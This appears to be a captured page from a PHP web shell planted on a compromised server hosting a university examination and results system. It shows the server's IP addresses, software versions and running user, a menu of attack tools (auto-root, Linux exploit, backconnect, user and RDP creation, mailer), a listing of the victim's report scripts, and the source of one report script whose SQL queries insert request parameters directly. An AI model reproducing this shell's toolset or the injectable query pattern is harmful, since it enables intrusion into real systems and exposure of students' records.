Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.128.171.149
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
oasis /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
output
[ DIR ]
drwxr-xr-x
AttDateWiseReportexcel.php
4.39
KB
-rw-r--r--
Attdet.php
7.1
KB
-rw-rw-r--
AttdetPdf.php
8.74
KB
-rw-rw-r--
AttdetPdfUniclare.php
7.49
KB
-rw-rw-r--
AttdetexcelUniclare.php
5.48
KB
-rw-rw-r--
CIEAttendanceNotEligiblepdf.ph...
6.83
KB
-rw-rw-r--
CIEpendingListpdf.php
9.05
KB
-rw-rw-r--
DegreeWiseStudLstUSN.php
7.69
KB
-rw-rw-r--
DownloadExamAppFormApplication...
10.92
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
4.6
KB
-rwxr-xr-x
Generatecollegeiamarkspendingr...
7.49
KB
-rwxrwxrwx
PrintChallanEntryDetails.php
8.27
KB
-rwxr-xr-x
RVApplicationsReport.php
8.9
KB
-rwxr-xr-x
RvPcListDetailedReport.php
12.51
KB
-rwxrwxrwx
RvRtApplicationReport.php
8.86
KB
-rwxr-xr-x
absentAndMalReportPdf.php
11.5
KB
-rw-rw-r--
absentandmalpracticereport.php
10.16
KB
-rw-rw-r--
ack_exam_app_form_bulk.php
11.76
KB
-rwxr-xr-x
admlist.php
13.87
KB
-rwxrwxrwx
admregisterlist.php
7.39
KB
-rwxr-xr-x
affliation_detailed_report.php
12.56
KB
-rwxrwxrwx
appear_list_center_qp_wise.php
13.07
KB
-rwxr-xr-x
appear_list_qp_wise.php
6.32
KB
-rwxr-xr-x
appfeedetails.php
7.67
KB
-rwxr-xr-x
approval_report.php
19.63
KB
-rwxr-xr-x
attCisshortList.php
15.61
KB
-rw-r--r--
attCisshortList_sjbit.php
12.82
KB
-rw-r--r--
attDegwiseReport.php
14.2
KB
-rw-r--r--
attendanceReportForm.php
5.69
KB
-rw-rw-r--
attendanceform_pdf.php
12.35
KB
-rw-r--r--
attiacombined.php
9.52
KB
-rw-r--r--
attiacombinedReportnewexcel_sj...
12.94
KB
-rw-rw-r--
attiacombinednew.php
12.66
KB
-rw-r--r--
attiacombinednew_1.php
12.34
KB
-rw-r--r--
attiacombinednew_2.php
12.33
KB
-rw-r--r--
attiacombinednew_sjbit.php
8.7
KB
-rw-r--r--
attshortlist.php
10.72
KB
-rw-r--r--
basic_data_coll.php
6.79
KB
-rwxr-xr-x
basic_data_sum.php
6.98
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
board.php
3.86
KB
-rw-rw-r--
bundle_ack.php
13.58
KB
-rwxr-xr-x
candidatelist.php
10
KB
-rw-rw-r--
categorywisereport.php
13.27
KB
-rwxr-xr-x
categorywisereportpdf.php
7.57
KB
-rw-rw-r--
cntrtagcollstud.php
4.99
KB
-rw-rw-r--
code39.php
6.38
KB
-rwxr-xr-x
college_pending_markslist.php
6.78
KB
-rwxrwxrwx
college_pending_markslist19032...
6.48
KB
-rwxr-xr-x
convoreport.php
5.56
KB
-rw-rw-r--
copomarksexternalreportexcel.p...
7.02
KB
-rw-rw-r--
daterange.php
6.27
KB
-rw-rw-r--
degreeDetailsReport.php
7
KB
-rw-rw-r--
degreewiseMarksEntryStats.php
8.44
KB
-rw-rw-r--
elememntWiseReport.php
16.11
KB
-rw-rw-r--
empty_report_admission_det.php
8.91
KB
-rw-rw-r--
enterCOPOmarks.php
2.94
KB
-rw-rw-r--
exam_attendance_det.php
8.61
KB
-rwxr-xr-x
exam_attendance_summary.php
9.78
KB
-rwxr-xr-x
excelreport.php
27.36
KB
-rw-rw-r--
fpdf.php
147.08
KB
-rw-rw-r--
generate.php
7.32
KB
-rw-rw-r--
generateCorseRep.php
7.93
KB
-rw-r--r--
generateDaliyReportQpNitteExce...
16.34
KB
-rw-rw-r--
generatePostAdmissionTicket.ph...
51.8
KB
-rwxr-xr-x
generatePostAdmissionTicketJss...
58.53
KB
-rwxr-xr-x
generatePostAdmissionTicket_25...
47.13
KB
-rwxr-xr-x
generatePostAdmissionTicket_ol...
37.45
KB
-rwxr-xr-x
generatePrintIaMarks.php
16.19
KB
-rw-rw-r--
generatePrintIaMarksnew.php
16.28
KB
-rw-r--r--
generatePrintIaMarksnewXl.php
13.22
KB
-rw-rw-r--
generateQuestionWiseIAReportPD...
18.73
KB
-rw-rw-r--
generateThValReport.php
7.4
KB
-rw-r--r--
generateXlGraph.php
3.87
KB
-rw-rw-r--
generateadmissionreg.php
11.81
KB
-rw-r--r--
generatecoporeport_xl.php
21.08
KB
-rw-rw-r--
gerderwiseresultsheet.php
12.08
KB
-rwxr-xr-x
getDegree.php
2.27
KB
-rw-rw-r--
getDegreeAndSem.php
4.32
KB
-rw-r--r--
getIaSubjWiseReport.php
0
B
-rw-rw-r--
getNitteAdmXlreport.php
14.74
KB
-rw-rw-r--
getReportClassStud.php
6.03
KB
-rw-rw-r--
getTestTotalMarksReport.php
9.49
KB
-rw-rw-r--
getiaabsentreport.php
6.8
KB
-rw-r--r--
gradewisesubjectanalysisreport...
24.66
KB
-rw-r--r--
gradewisesubjectanalysisreport...
20.73
KB
-rw-r--r--
headerNfooter.php
4.89
KB
-rw-rw-r--
iaDegwiseIAReport.php
12.58
KB
-rw-rw-r--
iaMarksQnWiseReportExcel.php
25.41
KB
-rw-rw-r--
iaMarksReportPDF.php
10.84
KB
-rw-r--r--
iaSubjectWiseReport.php
10.74
KB
-rw-rw-r--
ia_room_allotment_datewise.php
9.08
KB
-rwxr-xr-x
iaemptyformat.php
9.63
KB
-rwxr-xr-x
iaroomallotmantsummary.php
5.28
KB
-rwxr-xr-x
iasectionwisenew.php
36.02
KB
-rw-rw-r--
invig_report.php
10.18
KB
-rw-rw-r--
invig_report_summary.php
7.74
KB
-rw-rw-r--
latEntryRprt.php
6.4
KB
-rwxr-xr-x
markListReportPdf.php
21.32
KB
-rw-rw-r--
markListReportPdfnew.php
49.6
KB
-rw-r--r--
markListReportPdfnew_24112023....
42.93
KB
-rw-r--r--
marksEntryQnWiseNewReport.php
13.13
KB
-rw-rw-r--
marksentryquestionwise.php
23.83
KB
-rw-rw-r--
mregistry.php
152.75
KB
-rw-rw-r--
pdfacknowledgeAppNo.php
10.95
KB
-rw-rw-r--
pendingcie.php
0
B
-rw-rw-r--
photo_report.php
7.04
KB
-rw-rw-r--
pi_test.php
3.45
KB
-rw-r--r--
picharttesting.php
24.78
KB
-rw-rw-r--
prbillreports.php
16.32
KB
-rw-rw-r--
principalFreeze_report.php
7.23
KB
-rw-rw-r--
printIaMarks.php
12.74
KB
-rw-r--r--
printIaMarks_old.php
12.74
KB
-rw-rw-r--
printMarkListDetailsWisenew.ph...
10.1
KB
-rw-r--r--
printMarkListDetailsWisenewExc...
15.52
KB
-rw-rw-r--
printMarkListDetailsWisenew_CI...
3.98
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
15.69
KB
-rw-r--r--
printMarkListDetailsWisenew_sj...
14.54
KB
-rw-r--r--
printMarkListSubWiseJssstu.php
28.4
KB
-rw-rw-r--
print_applications_ru.php
26.59
KB
-rw-rw-r--
progDegwiseReportPdf.php
14.15
KB
-rw-rw-r--
provisionExcelReportSrun.php
12.73
KB
-rw-rw-r--
qp_issue.php
8.47
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
56.9
KB
-rwxr-xr-x
qrcodeGeneratePostAdmissionTic...
33.16
KB
-rwxr-xr-x
qrhallticket.php
56.1
KB
-rw-rw-r--
r
9.23
KB
-rwxr-xr-x
regNoAllot.php
35.56
KB
-rw-rw-r--
reg_stud_list.php
8.65
KB
-rwxr-xr-x
reportAttClassCreate.php
5.14
KB
-rw-rw-r--
reportAttCount.php
12.89
KB
-rw-r--r--
reportAttCount_old_08112022.ph...
11.11
KB
-rw-r--r--
report_Xl_getpendingstudentLis...
7.93
KB
-rw-rw-r--
report_adm_lat_studwise.php
10.13
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
49.63
KB
-rwxr-xr-x
report_admission_list_bf_gcg.p...
26.39
KB
-rwxr-xr-x
report_admission_list_kswu.php
15.12
KB
-rwxr-xr-x
report_admission_list_rur.php
28
KB
-rw-rw-r--
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_ticket.php
77.87
KB
-rw-rw-r--
report_admission_ticket_bf_uuc...
37.63
KB
-rwxr-xr-x
report_admission_ticket_jsstu....
70.16
KB
-rw-r--r--
report_admission_ticket_new.ph...
65.79
KB
-rw-rw-r--
report_attendance_sheet.php
23.77
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rw-rw-r--
report_attendance_summary.php
11.48
KB
-rwxr-xr-x
report_attendance_summary_old....
7.19
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.35
KB
-rwxr-xr-x
report_batch_wise_details.php
8.86
KB
-rwxr-xr-x
report_batch_worksheet_details...
20.02
KB
-rwxr-xr-x
report_bulk_applications.php
26.15
KB
-rwxr-xr-x
report_bulk_applications_nitte...
26
KB
-rw-rw-r--
report_bundle_dispatch.php
15.36
KB
-rwxr-xr-x
report_candidate_list.php
31.41
KB
-rwxr-xr-x
report_candidate_list_old.php
29.91
KB
-rwxr-xr-x
report_copoMarksList.php
23.88
KB
-rw-rw-r--
report_daliy_report.php
10.47
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.21
KB
-rwxr-xr-x
report_daliy_report_qp_nitte.p...
20.31
KB
-rwxr-xr-x
report_daliy_report_qp_sjbit.p...
17.49
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_ia_ra_invigilator_dairy...
20.87
KB
-rwxr-xr-x
report_ia_ra_roomwise_register...
27.06
KB
-rw-r--r--
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_invigilatorDairy.php
46.77
KB
-rw-rw-r--
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
3.13
KB
-rwxr-xr-x
report_marks_entry_student_lis...
6.55
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
21.94
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.43
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.59
KB
-rwxr-xr-x
report_practical_marks_details...
13.35
KB
-rwxr-xr-x
report_practical_marks_details...
23.65
KB
-rwxr-xr-x
report_practical_marks_details...
13.33
KB
-rwxr-xr-x
report_practical_marks_details...
13.32
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.17
KB
-rwxr-xr-x
report_ra_exl_report.php
6.89
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
46.94
KB
-rwxr-xr-x
report_ra_invigilator_dairy_bf...
22.69
KB
-rwxr-xr-x
report_ra_invigilator_dairy_gu...
19.86
KB
-rwxr-xr-x
report_ra_invigilator_dairy_ne...
49.39
KB
-rwxr-xr-x
report_ra_invigilator_dairy_sj...
32.35
KB
-rwxr-xr-x
report_ra_invigilator_dairy_st...
19.82
KB
-rw-rw-r--
report_ra_invigilators_dairy.p...
9.27
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
10.97
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
8.74
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
11.21
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.67
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
26.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
27.15
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
17.6
KB
-rwxr-xr-x
report_reg_list.php
33.33
KB
-rw-rw-r--
report_reg_list_gcg.php
33.55
KB
-rw-rw-r--
report_reg_list_gcg_new_040120...
33.12
KB
-rw-rw-r--
report_registerNoListNoticeBoa...
25.84
KB
-rw-rw-r--
report_registerNoListRoomBoard...
22.08
KB
-rw-rw-r--
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_roomallotmentExcel.php
8.31
KB
-rw-rw-r--
report_subject_admcl_list.php
3.68
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.89
KB
-rwxr-xr-x
resultsheet.php
12.82
KB
-rwxr-xr-x
resultsheetExcel.php
6.37
KB
-rw-r--r--
resultsheet_x.php
9.15
KB
-rwxr-xr-x
resultsheetsubwise.php
11.24
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomAllotment.php
37.45
KB
-rw-rw-r--
room_allotment_datewise_stph.p...
21.46
KB
-rwxr-xr-x
roomallotmantsummary.php
6.66
KB
-rwxr-xr-x
roomallotmantsummarynew.php
7.09
KB
-rwxr-xr-x
roomallotmantsummarysubjwise.p...
9.26
KB
-rw-rw-r--
roomallotmantsummarysubjwisene...
9.89
KB
-rw-r--r--
roomallotmentqpwise.php
10.22
KB
-rw-rw-r--
roomwise_register_nos_list.php
27.87
KB
-rwxr-xr-x
roomwise_register_nos_list_new...
29.38
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
semesterWiseResultReportpdf.ph...
11.03
KB
-rw-rw-r--
shortageReport.php
11.05
KB
-rw-rw-r--
std_regstr_det_reprt_xl.php
7.6
KB
-rw-rw-r--
stringspliter.php
718
B
-rwxr-xr-x
stud_wise_report.php
8.97
KB
-rw-rw-r--
studentHisResult.php
8.34
KB
-rw-r--r--
student_count.php
4.16
KB
-rwxr-xr-x
studentwiseresult.php
18.02
KB
-rw-rw-r--
studentwiseresultExcelReport.p...
10.29
KB
-rw-rw-r--
subWiseFailedStudExcelReport.p...
9.02
KB
-rw-rw-r--
subWiseFailedStudSummary.php
7.78
KB
-rw-rw-r--
subjRegReport.php
8.42
KB
-rw-r--r--
subjectDetailsReport.php
13.93
KB
-rw-rw-r--
subject_wise_student_list.php
6.2
KB
-rwxr-xr-x
subjwisepasspercentage.php
10.99
KB
-rw-rw-r--
subjwisepasspercentagePie.php
10.92
KB
-rw-r--r--
subjwiseressheet.php
12.92
KB
-rwxr-xr-x
subwiseGrafAnalysis.php
20.04
KB
-rw-r--r--
subwiseGrafAnalysis1.php
22.44
KB
-rw-r--r--
subwiseResultReport.php
12.75
KB
-rw-rw-r--
tatkal.php
4.84
KB
-rwxr-xr-x
teachFreeze_report.php
8.96
KB
-rw-r--r--
teacher_report.php
11.26
KB
-rwxr-xr-x
teacher_val_report.php
10.59
KB
-rwxr-xr-x
timetabledegreewiserpt.php
6.73
KB
-rwxrwxrwx
topsheet.php
8.59
KB
-rwxr-xr-x
verifystud.php
8.38
KB
-rwxr-xr-x
viewexamcentrenew.php
20.7
KB
-rw-rw-r--
xl_AckAppReport.php
10.02
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : categorywisereport.php
<?php $main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7); error_reporting(E_ALL); ini_set('display_errors', TRUE); ini_set('display_startup_errors', TRUE); date_default_timezone_set('GMT+5:30'); if (PHP_SAPI == 'cli') die('This example should only be run from a Web Browser'); $pdf_writer_class = $main_src . '/PHPExcel/Classes/PHPExcel.php'; require_once($pdf_writer_class); function getheaders($objPHPExcel, $fileName){ $objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1); $objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0); $objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true); $objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false); header('Content-Type: application/vnd.ms-excel'); header('Content-Disposition: attachment;filename="' . $fileName . '.xls"'); header('Cache-Control: max-age=0'); header('Cache-Control: max-age=1'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); header('Cache-Control: cache, must-revalidate'); header('Pragma: public'); ob_clean(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5'); $objWriter->save('php://output'); } function categorywiseresultsheet($aobj_context){ session_start(); $ip=$_SERVER["REMOTE_ADDR"]; $collcode=$_SESSION['collcode']; $college_code=$_SESSION['collcode']; $univcode = $aobj_context->mobj_data["univcode"]; $degree = $aobj_context->mobj_data["degree"]; $degexam = $aobj_context->mobj_data["degexam"]; $yearmode = $aobj_context->mobj_data["yearmode"]; $section = $aobj_context->mobj_data["section"]; $reportName = $aobj_context->mobj_data["reportName"]; // if($reportName==""){ // $rep_Name=""; // }else{ // $rep_Name=$reportName; // } $deggrp = $aobj_context->mobj_data["deggrp"]; if($section=="All"){ $cnd; } else{ $cnd="("."Section"." : ".$section.")"; } $yearmode = explode("*",$yearmode); $year = $yearmode[0]; $examtye = $yearmode[1]; $session = $aobj_context->mobj_data["session"]; $get_daliy_present_data= "SELECT DISTINCT fcaste FROM student order by fcaste"; $result = $aobj_context->mobj_db->GetAll($get_daliy_present_data); $objPHPExcel = new PHPExcel(); $fileName = 'Daily Report'; $objPHPExcel->getProperties()->setCreator("Uniclare") ->setLastModifiedBy("Me")->setTitle("My Excel Sheet") ->setSubject("My Excel Sheet")->setDescription("Excel Sheet") ->setKeywords("Excel Sheet")->setCategory("Me"); $objPHPExcel->setActiveSheetIndex(0); $styleArray = array( 'borders' => array( 'allborders' => array( 'style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => '000000'), ), ), ); $appArr = ['G', 'J','M','P','S','V','Y','AB','AE','AH','AK', 'AN','AQ','AT','AW','AZ','BC','BF','BI','BL','BO','BR','BU']; $passArr = ['H', 'K','N','Q','T','W','Z','AC','AF','AI','AL','AO','AR', 'AU','AX','BA','BD','BG','BJ']; $failArr = ['I', 'L','O','R','U','X','AA','AD','AG','AJ','AM', 'AP','AS','AV','AY','BB','BE','BH','BK']; $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setBold(true); $objPHPExcel->getActiveSheet()->getStyle('1:1')->getFont()->setSize(12); $objPHPExcel->getActiveSheet()->setCellValue('A1', 'Sl. No.'); $objPHPExcel->getActiveSheet()->setCellValue('B1', 'Degree Code'); $objPHPExcel->getActiveSheet()->setCellValue('C1', 'Degree Name'); $objPHPExcel->getActiveSheet()->setCellValue('D1', 'Total'); $objPHPExcel->getActiveSheet()->setCellValue('D2', 'Appeared')->getColumnDimension('D')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('E2', 'Pass'); $objPHPExcel->getActiveSheet()->setCellValue('F2', 'Fail'); for ($i = 0; $i < count($result); $i++) { $objPHPExcel->getActiveSheet()->setCellValue($appArr[$i].'1', $result[$i]['fcaste']); $objPHPExcel->getActiveSheet()->setCellValue($appArr[$i].'2' , 'Appeared'); $objPHPExcel->getActiveSheet()->setCellValue($passArr[$i].'2', 'Pass'); $objPHPExcel->getActiveSheet()->setCellValue($failArr[$i].'2', 'Fail'); $objPHPExcel->getActiveSheet()->mergeCells($appArr[$i].'1:'.$failArr[$i].'1'); } $objPHPExcel->getActiveSheet()->mergeCells('A1:A2'); $objPHPExcel->getActiveSheet()->mergeCells('B1:B2'); $objPHPExcel->getActiveSheet()->mergeCells('C1:C2'); $objPHPExcel->getActiveSheet()->mergeCells('D1:F1'); $objPHPExcel->getActiveSheet()->getColumnDimension('BJ')->setAutoSize(true); $objPHPExcel->getActiveSheet()->getRowDimension('1')->setRowHeight(29); $objPHPExcel->getActiveSheet()->getStyle('A1:AA1')->getAlignment()->setWrapText(true); $objPHPExcel->getActiveSheet()->freezePane('A3'); $objPHPExcel->getActiveSheet()->getStyle('A1:'.$failArr[$i].'1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('A1:'.$failArr[$i].'1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER); $j=0; $newArr = []; $query = "SELECT DISTINCT CONCAT(r.fdegree) AS degree,concat(r.fdegree,' - ',d.fdescpn) AS descpn, CONCAT(d.fdeggrp,' - ',d.fexamname, ' - ' ,d. fresexamdate) AS examname, CONCAT(c.fcollcode,' - ',c.fcollname) AS college,s.fcaste ,COUNT(r.fregno) AS Totalcount, SUM(IF(INSTR(fclass,'fail') > 0,1,0)) AS fail_cnt, SUM(IF(INSTR(fclass,'fail') <= 0,1,0)) AS pass_cnt FROM (SELECT DISTINCT fregno,fdegree,fclass,fexamno FROM resmarks WHERE fexamno = '{$degexam}' AND fdegree IN(SELECT fdegree FROM degree WHERE fdeggrp='$deggrp') AND fyear = '{$year}' AND fexamtype = '{$examtye}') AS r INNER JOIN student s ON r.fregno = s.fregno AND r.fdegree = s.fdegree INNER JOIN degree d ON d.fdegree =r.fdegree AND d.fexamno = r.fexamno INNER JOIN college c ON s.fcollcode = c.fcollcode WHERE c.fcollcode = '{$collcode}' GROUP BY r.fdegree"; $lobj_get_data1= $aobj_context->mobj_db->GetAll($query); foreach($lobj_get_data1 as $val1) { $degree = $val1['degree']; $descpn = $val1['descpn']; foreach($result as $caste) { $query = "SELECT DISTINCT CONCAT(r.fdegree) AS degree,d.fdescpn AS descpn, CONCAT(d.fdeggrp,' - ',d.fexamname, ' - ' ,d. fresexamdate) AS examname, CONCAT(c.fcollcode,' - ',c.fcollname) AS college,s.fcaste ,COUNT(r.fregno) AS Totalcount, SUM(IF(INSTR(fclass,'fail') > 0,1,0)) AS fail_cnt, SUM(IF(INSTR(fclass,'fail') <= 0,1,0)) AS pass_cnt FROM (SELECT DISTINCT fregno,fdegree,fclass,fexamno FROM resmarks WHERE fexamno = '{$degexam}' AND fdegree IN(SELECT fdegree FROM degree WHERE fdeggrp='$deggrp') AND fyear = '{$year}' AND fexamtype = '{$examtye}') AS r INNER JOIN student s ON r.fregno = s.fregno AND r.fdegree = s.fdegree INNER JOIN degree d ON d.fdegree =r.fdegree AND d.fexamno = r.fexamno INNER JOIN college c ON s.fcollcode = c.fcollcode WHERE c.fcollcode = '{$collcode}' AND fcaste = '{$caste['fcaste']}' and r.fdegree = '{$degree}' GROUP BY r.fdegree, r.fexamno,fcaste"; $lobj_get_data= $aobj_context->mobj_db->GetAll($query); $catcode = $caste['fcaste']; $i=0; foreach($lobj_get_data as $key => $data) { $newArr[$descpn][$catcode]['degree'] = $data['degree']; $newArr[$descpn][$catcode]['degreename'] = $data['descpn']; $newArr[$descpn][$catcode]['examdate'] = $caste['examname']; $newArr[$descpn][$catcode]['college'] = $caste['college']; $newArr[$descpn][$catcode]['fcaste'] = $caste['fcaste']; $newArr[$descpn][$catcode]['Totalcount'] = $data['Totalcount']; $newArr[$descpn][$catcode]['fail_cnt'] = $data['fail_cnt']; $newArr[$descpn][$catcode]['pass_cnt'] = $data['pass_cnt']; } $i++; } } $i = 3; $k = 1; foreach($newArr as $key =>$valye) { $slNo = $key +3; $degreeInfo = explode(' - ', $key); $degreeCode = isset($degreeInfo[0]) ? $degreeInfo[0] : ''; $degreeName = isset($degreeInfo[1]) ? $degreeInfo[1] : ''; $objPHPExcel->getActiveSheet()->getRowDimension($slNo)->setRowHeight(25); $objPHPExcel->getActiveSheet()->setCellValue('A' . $i ,$k)->getColumnDimension('A')->setwidth(8); $objPHPExcel->getActiveSheet()->setCellValue('B' .$i, $degreeCode)->getColumnDimension('B')->setwidth(12); $objPHPExcel->getActiveSheet()->setCellValue('C' .$i, $degreeName)->getColumnDimension('C')->setwidth(70); $objPHPExcel->getActiveSheet()->getStyle('A' . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('B' . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('D' . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('E' . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle('F' . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $j=0; $totalApp = 0; $totalPass=0; $totalFail=0; foreach($result as $catcde) { $fcaste = $catcde['fcaste']; if($valye[$fcaste]['Totalcount'] == ""){ $con1="-"; }else{ $con1=$valye[$fcaste]['Totalcount']; } if($valye[$fcaste]['pass_cnt'] == ""){ $con2="-"; }else{ $con2=$valye[$fcaste]['pass_cnt']; } if($valye[$fcaste]['fail_cnt'] == ""){ $con3="-"; }else{ $con3=$valye[$fcaste]['fail_cnt']; } $totalApp += $valye[$fcaste]['Totalcount']; $totalPass += $valye[$fcaste]['pass_cnt']; $totalFail += $valye[$fcaste]['fail_cnt']; $objPHPExcel->getActiveSheet()->setCellValue($appArr[$j] .$i, $con1)->getColumnDimension($appArr[$j])->setwidth(9); $objPHPExcel->getActiveSheet()->setCellValue($passArr[$j] .$i,$con2)->getColumnDimension($passArr[$j])->setwidth(8); $objPHPExcel->getActiveSheet()->setCellValue($failArr[$j] .$i,$con3)->getColumnDimension($failArr[$j])->setwidth(8); $objPHPExcel->getActiveSheet()->getStyle($appArr[$j] . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle($passArr[$j] . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $objPHPExcel->getActiveSheet()->getStyle($failArr[$j] . $i)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); $j++; } $objPHPExcel->getActiveSheet()->setCellValue('D' .$i, $totalApp)->getColumnDimension('D')->setwidth(10); $objPHPExcel->getActiveSheet()->setCellValue('E' .$i, $totalPass)->getColumnDimension('E')->setwidth(8); $objPHPExcel->getActiveSheet()->setCellValue('F' .$i, $totalFail)->getColumnDimension('F')->setwidth(8); $slNo++; $i++; $k++; } $objPHPExcel->getActiveSheet()->setTitle($fileName); $objPHPExcel->getActiveSheet()->getPageSetup() ->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE); getheaders($objPHPExcel, $fileName); } ?>
Close
